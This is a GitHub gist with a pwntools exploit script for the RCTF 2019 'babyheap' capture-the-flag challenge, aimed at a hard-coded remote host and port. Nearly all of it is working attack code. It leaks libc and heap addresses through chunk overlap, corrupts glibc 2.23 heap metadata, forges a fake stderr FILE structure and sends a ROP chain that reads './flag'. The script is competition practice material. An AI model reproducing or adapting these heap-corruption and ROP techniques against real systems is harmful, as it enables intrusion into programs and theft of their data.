Skip to content

Instantly share code, notes, and snippets.

@hama7230
Created May 20, 2019 05:11
Show Gist options
  • Save hama7230/1308cc338cce50489dae51f8fa9d9423 to your computer and use it in GitHub Desktop.
Save hama7230/1308cc338cce50489dae51f8fa9d9423 to your computer and use it in GitHub Desktop.
RCTF 2019 babyheap
#!/usr/bin/env python
from pwn import *
context(terminal=['tmux', 'splitw', '-h']) # horizontal split window
libc = ELF('./libc-2.23.so')
elf = ELF('./babyheap')
context(os='linux', arch=elf.arch)
#context(log_level='debug') # output verbose log
RHOST = "139.180.215.222"
RPORT = 20001
LHOST = "127.0.0.1"
LPORT = 20001
def section_addr(name, elf=elf):
return elf.get_section_by_name(name).header['sh_addr']
def dbg(ss):
log.info("%s: 0x%x" % (ss, eval(ss)))
conn = None
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?' # pop option
if opt in 'rl':
conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt])
elif opt == 'd':
gdbscript = """
continue
""".format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
conn = gdb.debug(['./babyheap'], gdbscript=gdbscript)
else:
conn = process(['./babyheap'])
# conn = process(['./babyheap'], env={'LD_PRELOAD': './libc-2.23.so'})
if opt == 'a': gdb.attach(conn)
def add(size):
conn.sendlineafter('Choice:', '1')
conn.sendlineafter('Size', str(size))
def edit(idx, p):
conn.sendlineafter('Choice:', '2')
conn.sendlineafter('Index', str(idx))
conn.sendafter('Content', p)
def delete(idx):
conn.sendlineafter('Choice:', '3')
conn.sendlineafter('Index', str(idx))
def show(idx):
conn.sendlineafter('Choice:', '4')
conn.sendlineafter('Index', str(idx))
# exploit
log.info('Pwning')
add(0x20)
add(0x10)
add(0x218)
add(0xf8)
add(0x18)
add(0x1000)
add(0x230)
delete(1)
delete(2)
add(0x18)
edit(1, 'x'*0x28)
add(0x80)
add(0xc8+0xa0)
delete(2)
delete(3)
add(0x80)
show(7)
conn.recvuntil(': ')
libc_base = u64(conn.recv(6) + '\x00'*2) - 0x3c4b78
dbg('libc_base')
add(0x18)
edit(7, 'x'*0x18+p64(0x261)+p64(0xdeadbeef) + p64(libc_base + 0x3c67f8 - 0x10))
add(0x258)
edit(7, 'x'*0x18+p64(0x1411))
edit(6, 'x'*0x160+p64(0) + p64(0xd1))
delete(8)
delete(1)
delete(3)
show(7)
conn.recvuntil(': ')
heap_base = u64(conn.recv(6) + '\x00'*2) - 0x30
dbg('heap_base')
fake_stderr = ''
fake_stderr += p64(0)*4 # 0
fake_stderr += p64(0) + p64(0x7fffffffffffffff)
fake_stderr += p64(0)*2
fake_stderr += p64((heap_base + 0x3a0-100)/2) + p64(0) * 0xb #
fake_stderr += p64(libc_base + libc.symbols['_IO_2_1_stderr_']+8) # dokodemo
fake_stderr += p64(0) *3
fake_stderr += p64(0)
fake_stderr += p64(0) * 2
fake_stderr += p64(libc_base + 0x3c37a0)
fake_stderr += p64(libc_base + 0x47b75)
fake_stderr += p64(libc_base + 0xf7250)
edit(7, 'x'*0x10+fake_stderr + './flag\x00')
payload = ''
payload += p64(0xdead)
payload += p64(0xdead)
payload += p64(0xdead) # 0x10
payload += p64(0xdead) # 0x10
payload += p64(0xdead) # 0x20
payload += p64(0xdead) # 0x10
payload += p64(0xdead) # 0x30
payload += p64(0xdead) # 0x10
payload += p64(0xdead) # 0x40
payload += p64(0xdead) # 0x10
payload += p64(0xdead) # 0x50
payload += p64(0xdead) # 0x10
payload += p64(0xdead) # 0x60
payload += p64(0) # 0x10
payload += p64(heap_base + 0x3a0) # 0x70
payload += p64(0xdead) # 0x10
payload += p64(0xdead) # 0x80
payload += p64(0x200) # 0x10
payload += p64(0xdead) # 0x90
payload += p64(0xdead) # 0x10
payload += p64(heap_base + 0x3a0) # 0xa0
payload += p64(libc_base+0xf7250) # 0xa0
edit(5, payload)
add(0x100)
#libc_base + 0xf7030
# 0x00021102: pop rdi ; ret ; (535 found)
# 0x000202e8: pop rsi ; ret ; (191 found)
# 0x00001b92: pop rdx ; ret ; (5 found)
#0x000877a9: mov rdi, rax ; call rcx ; (1 found)
# 0x0012b793: mov rdi, rax ; mov rcx, qword [rcx+0x18] ; jmp rcx ; (2 found)
# 0x000ea69a: pop rcx ; pop rbx ; ret ; (1 found)
mov_rdi_rax_call_rcx = libc_base + 0x000ece59
pop_rcx_rbx = libc_base + 0x000ea69a
pop_rdi = libc_base + 0x00021102
pop_rsi = libc_base + 0x000202e8
pop_rdx = libc_base + 0x00001b92
pop_rax = libc_base + 0x00033544 #: pop rax ; ret ; (11 found)
rop = p64(pop_rdi) + p64(heap_base + 0x1f0) + p64(pop_rsi) + p64(0) + p64(libc_base + 0xf7030)
rop += p64(pop_rcx_rbx) + p64(heap_base + 0x1e8-0x18) * 2
rop += p64(pop_rsi) + p64(heap_base) + p64(pop_rdx) + p64(0x100) + p64(libc_base + 0x0012b793)
rop += p64(pop_rdi) + p64(0x1) + p64(pop_rsi) + p64(heap_base) + p64(pop_rdx) + p64(0x100) + p64(libc_base + 0xf72b0)
conn.send(rop)
conn.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment